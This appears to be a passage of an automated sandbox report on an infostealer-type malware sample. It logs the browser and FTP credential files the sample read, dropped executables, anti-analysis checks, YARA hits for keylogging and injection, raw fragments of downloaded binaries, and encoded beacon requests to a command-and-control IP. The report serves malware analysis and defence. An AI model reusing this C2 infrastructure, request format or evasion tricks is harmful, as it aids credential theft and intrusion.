file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Media History
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\LocalPrefs.json
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\passwords.txt
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\History
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\History-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Media History-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

Looks up the external IP address (1 event)

domain

ipinfo.io

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\m.exe
file	C:\Users\test22\AppData\Local\Temp\h.exe

Creates a shortcut to an executable file (2 events)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\ZeroAI_History.txt.lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Drops a binary and executes it (3 events)

file	C:\Windows\Logs\SystemRestore\explorer.exe
file	C:\Users\test22\AppData\Local\Temp\h.exe
file	C:\Users\test22\AppData\Local\Temp\m.exe

Drops an executable to the user AppData folder (3 events)

file	C:\Users\test22\AppData\Local\Temp\h.exe
file	C:\Users\test22\AppData\Local\Temp\RCX7F6.tmp
file	C:\Users\test22\AppData\Local\Temp\RCX69D.tmp

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW March 14, 2023, 10:35 a.m.	show_type: 0 filepath_r: C:/Users/test22/AppData/Local/Temp/h.exe parameters: filepath: C:/Users/test22/AppData/Local/Temp/h.exe	1	1	0
ShellExecuteExW March 14, 2023, 10:35 a.m.	show_type: 0 filepath_r: C:/Users/test22/AppData/Local/Temp/m.exe parameters: filepath: C:/Users/test22/AppData/Local/Temp/m.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 14, 2023, 10:34 a.m.	flags: 15 family: 0		111	0

An executable file was downloaded by the process explorer.exe (6 events)

Time & API	Arguments	Status	Return
recv March 14, 2023, 10:35 a.m.	buffer: HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Mar 2023 01:41:51 GMT Content-Type: application/octet-stream Content-Length: 198512 Last-Modified: Mon, 13 Mar 2023 21:58:54 GMT Connection: keep-alive ETag: "640f9c9e-30770" Accept-Ranges: bytes MZÿÿ¸@èº´ Í!¸LÍ!This program cannot be run in DOS mode. $mmGUUUK^AK^K^\|rÊxS^VU\tTK^T\tTRichUPELÌú dà B¦p³`@ úd@àp'`.textÏAB `.rdata^C`DF@@.dataY°N@À.rsrc@Ø@@UììMøÆEþÆEÿMèsM$èsMHèså]Â`ÌUìì\M¤ÝmAÝ]ðÆE³ÇEì(ÆEÿhXaAMÐèsÇE¬h¸aAM´èþrÇE¨×M´è/sMÐè'sMèsM0èsMTèsE¨å]ÂhÌÌÌÌÌÌUìì0MÐÆEÿhèaAMàè¦r¸ÀtÇEÜë MÜéMÜ}Ü~ëïëí3ÒtÇEØ#ë EØèEØ}Ø~ëïëíÆE×MàèrMèrM@èrM`è}rE×å]ÂtÌÌÌÌUììMôÝmAÝ]øMèVrÝEøå]Â$ÌÌÌÌÌÌÌÌÌÌÌÌÌUììdMh(bAMäèêqh`bAMÀèÝqPhbAM¤èÏqPèÉxÄEßM¤èûqMÀèóq¶EßÀtÇEàë MàéMà}à~ëïëíÇE ³¯MäèÀqMè¸qM,è°qMPè¨qMtè qèq¬èqE å]ÂÀÌUìQMüMèqqM4èiqMTèaqMpèYqèNqå]Â¨ÌÌÌÌÌÌÌÌUììÄ<ÿÿÿÝ¨mAÝ]ÈÆEïhÐbAMÐè×pÝ mAÝ]ðÝmAÝ]ø3ÀtÇEÄ_ë MÄéMÄ}Ä~ëïëí3ÒtÇEÀdë EÀèEÀ}À~ëïëíhcAMèxpPh@cA\|ÿÿÿègpPèwÄE·\|ÿÿÿèpMèp¶M·ÉtÇE¼/ë U¼êU¼}¼~ëïëíhxcA\ÿÿÿèpPh°cA@ÿÿÿèpPèývÄ{ÿÿÿ@ÿÿÿè)p\ÿÿÿèp¶{ÿÿÿÀtÇE¸?ë M¸éM¸}¸~ëïëíMÐèïoMèçoå]Â ÌUììØ(ÿÿÿhècAMÜèoÝÀmAÝ]°hdAMènoh$dAMÀèaoÝ¸mAÝ]øÝ°mAÝ]¸ÆE¯hXdAtÿÿÿè;o3Àt(Çpÿÿÿëpÿÿÿépÿÿÿ½pÿÿÿ~ëæëäh¨dALÿÿÿèÿnPhødA0ÿÿÿèînPèèuÄkÿÿÿ0ÿÿÿèoLÿÿÿè o¶kÿÿÿÒt(Çlÿÿÿ6ëlÿÿÿèlÿÿÿ½lÿÿÿ~ëæëäÇ,ÿÿÿ%ZtÿÿÿèÁnMÀè¹nMè±nMÜè©nMè¡nM<èn,ÿÿÿå]Â\ÌÌÌÌÌÌÌÌÌÌÌÌÌUìì\|MÝèmAÝ]¨hDeAMÔè!nÆEh\eAM¸ènÝàmAÝ] ÇE´} ÝØmAÝ]ðÝÐmAÝ]ø¸ÀtÇEë MéM}~ëï received: 2720 socket: 1284	1	2720
recv March 14, 2023, 10:35 a.m.	buffer: HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Mar 2023 01:41:56 GMT Content-Type: application/octet-stream Content-Length: 920064 Last-Modified: Mon, 13 Mar 2023 21:59:21 GMT Connection: keep-alive ETag: "640f9cb9-e0a00" Accept-Ranges: bytes MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEdßwøð"0 @ @@@@ > H.textþ `.rsrc> @@H¸Q dÌHP pÛÇÞËÝßÅÇÏÌÓÓÉÅÖûÖÓÒÝÓÖñÕÒùÅÚùíïëýéãáæ ¬ÃÿçéïèñöðÏýéú³·ê¦ê³¥¶Ã×¤®¼ª¸ª¾¸±è² °¢ª³¿©ªõº¨¾ª¾¢ú¤¶¢°DSE[JXNCVTNGEGA_]_QTTPP\\cTZRWA!(o\|`a-Ujn24XTwux}jmpnSg~rtdXrV (/ O $:72O!6<45#T;+&-ib)/uu(4;<-,3/2=49?;ÅÜÆýêàèá÷õÉÓÅÉêÓÁÊ×ÜÝÑÿÖÝÞÄÎóØÄÅ©Ùæâ¾°ÜÃîë÷ññÿéËàíëùðÆüäðúÇüì¢¬¤´¡©¿¸¬ÙÔßº¯½¾Ð¦ÇÇ¡« ¢¬·²®ª«¡·¿¹©ªº®³¾ð³¯£±¦kH^[EBLX\[^FCCNR]GlbSTAGcqJkaxhpqonr[W`ynjpjf_x\|guc$DQY/(<IDO?-.@ . +2(#`m,,.$ .( 8(,9/)/3>95"63<ÌÎÄÚËÃÈÌÔáåãôîïÊÓÈéñìèáÑÑÅöÒ×Ýå«çïèûåàçìõõ¦´¤»ºÕÍÕÍËÝÏÆ³²³¶µ¶Ö®Ë¬¬¢ÏÎÏÂÌÁÉ· °¡§ª »¾µ³´¢ª±¾ªª·°²¦¾µåºNlnSOaXx{HM DV@[O]L_z~dbrgd(:. xc"!"!)sv%8986x\|qy=p0bu`tIAAIDJ X471))7S_WAUeiai3ex"=00v;8ÇÊÆÍâÆÂÈåòîëóÌÔæîÍÓÞ×ÀÃáÿñçÏ«ØûáìéþñÊä¡»§Çê÷öù÷úÓõó÷ññåâûñûÏ·¨¼¤ ¿Ú£Á¤¿¿¡£¯ª¡ööõ¯µü£¸¡oizh\ERmlh`b URK\|u}xtrgA^GbpXIG[\@Z#rkpBnukhZhi0{}iq{b~{r:qK _/'8,<a(,6v<&:4<?#;y7&ðîïêçíýûãéÌÐÛÏÓÞÒÅÐÑÁÞÄñÈ½Êµ»åæÅñðÃÌéÝõÂÏòÛÕÚúÕâÉÙïúÔ¼ÚÝ®Ú©°¯Ó¢½½´½ÀÂ´¬Åà¯®û®°¿ó¢ª½¿§«£§æåcjzFYZowXlQFIbsoHupuAbAH[}[b}^]TCbXn4ape>~Uqzv/D.Ezf`k~\|%S<9>\74U"K!(6 HF )$:1:6{s8-/+*).(l2v " .ùÇßõêÐÑ÷èÁãÍÝõììäêêåÐâÜÅÑèæÇÁ½÷éÀÎÂú±ßÒóßÍñð é¯ÈùçËÙ¦ÏÇðÆÅªÃ¹¸Ü´Ö¾´¬±È¾»¹¡ö¼««©á¼®¿«¼´h{fQC_BkWP\EafqMAlZxFHHp~Fd>?_bZZkwpiH\|7U_w,~i-Pe$Hf?S\|[FM>>758 2 !R "@<E7;9?F -~5$+ m9`k,h'`&=f:ÈúÉðÜÁëòÏÕðÀàãòíóýôÖåÿÙÚÜÅéÞÌÂ×ü¹ÄÉÁá÷êÖåÈêªû¨÷§îäÐÄÕçççÍíÜØºÙØÙÛ®µÊ¹º®³÷·¢£ªî±¢¯³ §«¾¿àººdXhZkl`rGLKrqzRl\K L_y\|XU\|ViB;EYENt:6Xp_4VU@+ /n4FT P\\^B'\|,#%#$CY/5R$ 6IN(<KD> 4 \|=t;76{zr\|2<%22x2,0ÑÁÄÏÜÅÒÍÈÈÂý÷éÃ×ÒÝÂÛÀÛÞÚÐ·ÄÜÁËÝíýåæîûþäôíõõóðú¢ýíâÿùò÷ãýúÄÄÀË received: 2720 socket: 1284	1	2720
recv March 14, 2023, 10:35 a.m.	buffer: HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Mar 2023 01:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding fce MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELmzaà!¾& @ @h&S@È` H.textÄ `.rsrcÈ@ @@.reloc`@B &HÔ 03 0u( ( o (&þs ( ((0 ( o (&(( BSJBv4.0.30319lð#~\ #Stringsü#US#GUID#BlobG ú%3 6/ mMMºMôÕ" B/ g = P U \ m y%Ä ¨)Ì Ã% ÉÒêý(4DKÃ0!Ã%)Ã%1Ã 9):AJ?A\DIÃHQN Ã%.X.aC5T@=«&/<Module>BSoDProtection.dclibPluginmscorlibSystemObjectNtSetInformationProcessOnLoadOnFatalExceptionOnUninstallDisableMicrosoft.Win32SessionEndingEventArgsSystemEvents_SessionEnding.ctorhProcessprocessInformationClassprocessInformationprocessInformationLengthUIDPathBuildTagHostAddressExceptionObjectsendereSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeBSoDProtectionCompilerGeneratedAttributeSystem.Runtime.InteropServicesDllImportAttributentdll.dllSystem.ThreadingThreadSleepSystem.DiagnosticsProcessGetCurrentProcessget_HandleSessionEndingEventHandlerSystemEventsadd_SessionEnding ;AfEÓI¯®BaFG·z\V4à ! %TWrapNonExceptionThrows&®& &_CorDllMainmscoree.dllÿ% received: 2720 socket: 1284	1	2720
recv March 14, 2023, 10:35 a.m.	buffer: HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Mar 2023 01:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding 1fc0 MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÔ¼bà!r® @ àN@TW $À H.text´p r `.rsrc$ t@@.relocÀx@BHhgì( dHKÝ!¤þ¨JÍÎóz? #+3;CScs£Ãã º®¨3;ØÐ&f !1AaÁ 0@`(* 2+þþ+öÂÐ++~ '¿f+(+ +å(+à( +å¢~R `ê++{++é(]+î+í(9+í(S >+++ú(+õÒ( s}s} }i{(1^ 9})( :( (C&(U F +{+Y+ö.+{(+÷^+{%+{&þ+î+òú+++{'+'_d}'-é++{(+Y}(,é+Ó+Ò+Ö+á+à+ä.+{++÷ò+++,{'+({(__d}'++{(ø_}(+Ò+Ñ+Õ+ä+ã2+(7+ø++++b`+ò(M+í+ì(M+ç¾+${&+ {%-Y-ò+{(-c-øX+Ù+Ý+è+ +++b`+óoq +î+íoq +èbÐ++(+ +ö(+ñ2#+( +ø2$+( +ø2%+( +ø2&+( +ø2'+( +ø2(+( +ø2)+( +ø2+( +ø2++( +ø2,+( +ø2-+( +ø2.+( +ø2/+( +ø20+( +ø21+( +ø22+( +ø23+( +ø24+( +ø25+( +ø26+( +ø27+( +ø28+( +ø29+( +ø0Ë88:&,!88},8{8{8{~ ¾f+uo! o ~ t¾f( ( ,- þs" s# ($ * 8xÿÿÿs8sÿÿÿ8tÿÿÿ8vÿÿÿ8tÿÿÿ8{ÿÿÿ(98{ÿÿÿ8zÿÿÿ( 8ÿÿÿ0R8ÿ9&8~ K¾f8ü898~ ^¾f8ø8ý received: 2720 socket: 1284	1	2720
recv March 14, 2023, 10:35 a.m.	buffer: HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Mar 2023 01:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding 1fc0 MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÍQ£bà!¬þÉ à@ §{@¤ÉWà$ H.textª ¬ `.rsrc$à®@@.reloc²@BàÉHLXFD{þÖSJW.2ÛJû #+3;CScs£Ãã j ×ÌRjgÂÁcwè !1AaÁ 0@`2+ +ö+(\+ø(g bÐ++(- +ö(#+ñbÐ++(- +ö(#+ñbÐ++(- +ö(#+ñê~~{+{&+~{++++ê(t+ê+î(t+é(Â+äbÐ ++(- +ö(#+ñ( >+++ú(0+õÒ(g s5}Ks6}L}E{Ki(p^ U}U(g :(g (O&( ò+++,{S+({T__d}S++{Tø_}T+Ò+Ñ+Õ+ä+ãF +{WY+ö++++b`+ò(R+í+ì(R+çú+++{S+'_d}S-é++{T+Y}T,é+Ó+Ò+Ö+á+à+ä+ +++b`+óo° +î+ío° +è.+{W+÷^+{Q+{Rþ+î+ò¾+${R+ {Q-Y-ò+{T-c-øX+Ù+Ý+è.+{T+÷bÐ+++(- +ö(#+ñ2,+(!+ø2-+(!+ø2.+(!+ø2/+(!+ø20+(!+ø21+(!+ø22+(!+ø23+(!+ø24+(!+ø25+(!+ø26+(!+ø27+(!+ø28+(!+ø29+(!+ø2:+(!+ø2;+(!+ø2<+(!+ø2=+(!+ø2>+(!+ø2?+(!+ø2@+(!+ø2A+(!+ø2B+(!+ø2C+(!+ø2D+(!+ø2E+(!+ø2F+(!+ø2G+(!+ø2H+(!+ø2I+(!+ø2J+(!+ø2K+(!+ø2L+(!+ø2M+(!+ø2N+(!+ø2O+(!+ø2P+(!+ø2Q+(!+ø2R+(!+ø2S+(!+ø2T+*(! received: 2720 socket: 1284	1	2720
recv March 14, 2023, 10:35 a.m.	buffer: HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Mar 2023 01:42:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding 1fc0 MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL÷µaà" Pþn @ À@°nKt H.textO P `.rsrctR@@.reloc V@BànHPL`"èJhC3Å×)ä\|Ô¯ë)î²U #+3;CScs£Ãã eNÒe]Ì%ý=»Â !1AaÁ 0@`ú,,,ôþs s %o %,&&, &o +ôo +ñFs-&( +ø,&-&,&&o +ì+í( +í(' (N Þ-){ ø½f((/ {{ ,&&&&-Ñ(+õ(#ò, ï¾f%,a,$&~-ïY,&~-( (+Ù+ã(_ Ò(N s5} s=}!}{ io4{(_d}(-ì{)Y}),ì{){'{&- Y-ó{)c-ûX¢{({)__d}({)ø_})>{&{'þ6 {,Y{,^ D}(N :(N (@â~?_b~?c_b`~?c_b`~?c`hBol ol b`F(I(Ib`&(m 0( ,F,C 3b( Ð( ( ¥-G&(! ,@&(" 3,{,ð3 ~{(,&(# - &&Þ +·+¾+éo$ +î&Þ--&&( +ø0f ¾f%,"(-D&,,?&[,;&+ [-5&X,1& -æ-ìo% / o& ,&+Z ,×+º+¿ +Ã +É+Í +ä0e(( -Z&() o (+ y¾f( t¾f(o, o- - &,Ï-ÌÞ+õ,o. ,ôÜ,o. Ü* +¤9I MV 0 (/ (0 ,Ý(/ 9Ó&&&(/ ,&&Þ (1 +÷&Þs2 (3 :°&:®&89¥&o4 (5 o6 s¾f((7 :Ýo8 (7 :oÿÿÿ:Æo4 9«&&o4 (9 o4 (: s¾f((; (0 received: 2720 socket: 1284	1	2720

The binary likely contains encrypted or compressed data indicative of a packer (4 events)

section

{u'size_of_data': u'0x0007b200', u'virtual_address': u'0x00002000', u'entropy': 7.99958598336144, u'name': u' ', u'virtual_size': u'0x0013a000'}

entropy

7.99958598336

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x00025a00', u'virtual_address': u'0x0013c000', u'entropy': 7.998894814287401, u'name': u' ', u'virtual_size': u'0x0005ad6f'}

entropy

7.99889481429

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x00186e00', u'virtual_address': u'0x0054e000', u'entropy': 7.952987621708514, u'name': u'.boot', u'virtual_size': u'0x00186e00'}

entropy

7.95298762171

description

A section with a high entropy has been found

entropy

0.924963320059

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (21 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 14, 2023, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Expresses interest in specific running processes (1 event)

process

system

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Take ScreenShot	rule	ScreenShot
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Steal credential	rule	local_credential_Steal
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win
description	File Downloader	rule	Network_Downloader
description	Escalate priviledges	rule	Escalate_priviledges
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communications over FTP	rule	Network_FTP
description	Match Windows Http API call	rule	Str_Win32_Http_API

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 0848ab3f37da7053193242c416a6417afb474e97

Communicates with host for which no DNS query was performed (1 event)

host

87.251.77.205

Checks for the presence of known windows from debuggers and forensic tools (12 events)

Time & API	Arguments	Status	Return	Repeated
FindWindowA March 14, 2023, 10:34 a.m.	class_name: OLLYDBG window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: GBDYLLO window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: pediy06 window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: Registry Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: 18467-41 window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: #0 window_name: File Monitor - Sysinternals: www.sysinternals.com		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA March 14, 2023, 10:34 a.m.	class_name: #0 window_name: Process Monitor - Sysinternals: www.sysinternals.com		0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation March 14, 2023, 10:34 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

explorer.exe tried to sleep 5456541 seconds, actually delayed analysis time by 5456541 seconds

Checks the version of Bios, possibly for anti-virtualization (2 events)

registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Network communications indicative of possible code injection originated from the process explorer.exe (50 out of 97 events)

Time & API	Arguments	Status	Return
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?lcM9Rlwz4r8y1usY2r3pk0JCzivB3d=Q15vnjyCemeZpp&7bUPIE3uWvSJKt0u=aSr668FzDpZCFadXUkUrnUUWHi9UZo&946d61af1f55e6f89d0682aa59e95cc5=56a1ceb2a8e5089df6b197e961927a8f&638d48ba9996f27aeb8500fecb12600a=AOzEWZwATNxcDMyQTZhRmZxY2NjZmMlNzYwkzNhlTZldTNhdTZ3YmM&lcM9Rlwz4r8y1usY2r3pk0JCzivB3d=Q15vnjyCemeZpp&7bUPIE3uWvSJKt0u=aSr668FzDpZCFadXUkUrnUUWHi9UZo HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 Connection: Keep-Alive socket: 1284 sent: 874	1	874
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nIiJmMjhTNwImZmVWN4AzYhFGN0MWY5ATZ4ADZ2EDNkVWNiZDOiBDNzIiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1037	1	1037
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nI2gDZjZmZ5UDZiljNzE2N1YjZhVzY2I2NmNTMkJjY0ImZiBDZ0kDM0IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1404 sent: 1037	1	1037
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmN2MjZlZGM0EmNjBzMlNDMwIWNmVGZ1kjN4EDZ0EmMmJzMlZWNmJiOiUTY1I